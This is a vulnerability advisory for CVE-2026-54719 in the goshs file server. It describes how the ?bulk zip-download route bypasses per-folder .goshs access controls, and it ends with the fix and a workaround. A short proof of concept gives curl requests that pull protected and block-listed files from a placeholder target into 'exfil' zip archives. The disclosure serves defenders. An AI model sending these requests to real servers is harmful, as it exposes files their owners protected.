high · 7.5CVE-2026-54719Jul 28, 2026

CVE-2026-54719: goshs .goshs ACL Bypass via ?bulk Zip-Download Route

Rohit Hatagale
AI Security Researcher, SecureLayer7

An unauthenticated attacker can read any file protected by a per-folder .goshs ACL in goshs by fetching it through the ?bulk zip-download route, which skips authorization entirely.

Packagegithub.com/patrickhener/goshs
Ecosystemgo
Affected<= 1.1.4
CVE-2026-54719: goshs .goshs ACL Bypass via ?bulk Zip-Download Route

The problem

goshs supports per-folder access control via .goshs files. The normal read path (doFile, sendFile, processDir) correctly calls findEffectiveACL and applyCustomAuth before serving content.

The ?bulk zip-download route (bulkDownload in httpserver/updown.go) is dispatched from earlyBreakParameters before that flow runs. It sanitizes each ?file= path via sanitizePath but never resolves or enforces the effective .goshs ACL, so any file under the webroot is served unauthenticated regardless of folder-level auth or per-file block lists.

The write-side equivalents were closed by GHSA-wvhv-qcqf-f3cx; this gap survived on the read side.

Proof of concept

A working proof-of-concept for CVE-2026-54719 in github.com/patrickhener/goshs, with the exact payload below.

bash
# Normal path: ACL enforced (returns 401)
curl http://target:8000/protected/secret.txt
# -> 401 Unauthorized

# Bulk route: ACL skipped entirely (returns 200 + ZIP containing the file)
curl -o exfil.zip "http://target:8000/?bulk&file=/protected/secret.txt"
# -> 200 OK, exfil.zip contains protected/secret.txt contents

# Block-listed file bypass (returns 200 instead of the expected 404)
curl -o exfil2.zip "http://target:8000/?bulk&file=/protected/blocked.txt"
# -> 200 OK, exfil2.zip contains the block-listed file

# Multiple files in one request
curl -o exfil3.zip "http://target:8000/?bulk&file=/protected/secret.txt&file=/protected/creds.txt"

bulkDownload iterates each ?file= query parameter, resolves the path with sanitizePath(fs.Webroot, file), and writes it into a ZIP stream with no authorization gate. The normal handlers call findEffectiveACL(filepath.Dir(absPath)) to walk up the directory tree and locate the nearest .goshs config, then pass the result to applyCustomAuth; bulkDownload does neither.

The fix in commit 7cf911a26ace737e1a55b7dc073e307a25f7fd1d adds exactly those two calls inside bulkDownload for every requested file, and also checks acl.Block before adding a file to the archive. The ?bulk parameter is handled in earlyBreakParameters before the normal request dispatch, which is why the previous GHSA-wvhv-qcqf-f3cx fix did not cover it: that fix targeted the state-changing routes (PUT, POST /upload, ?mkdir, ?delete) dispatched elsewhere.

CWE-862 (Missing Authorization) and CWE-863 (Incorrect Authorization).

The fix

Upgrade to goshs v2.1.1 (commit 7cf911a26ace737e1a55b7dc073e307a25f7fd1d). The patch enforces findEffectiveACL and applyCustomAuth inside bulkDownload for every requested file, and honors acl.Block before streaming. As a workaround until you can upgrade, configure a server-wide -b basic auth flag, which gates the ?bulk route via the global middleware and prevents unauthenticated access.

Also audit ?cbDown and any other alternate read routes for the same missing ACL call.

Reported by anir0y.

References: [1][2][3][4]

Related research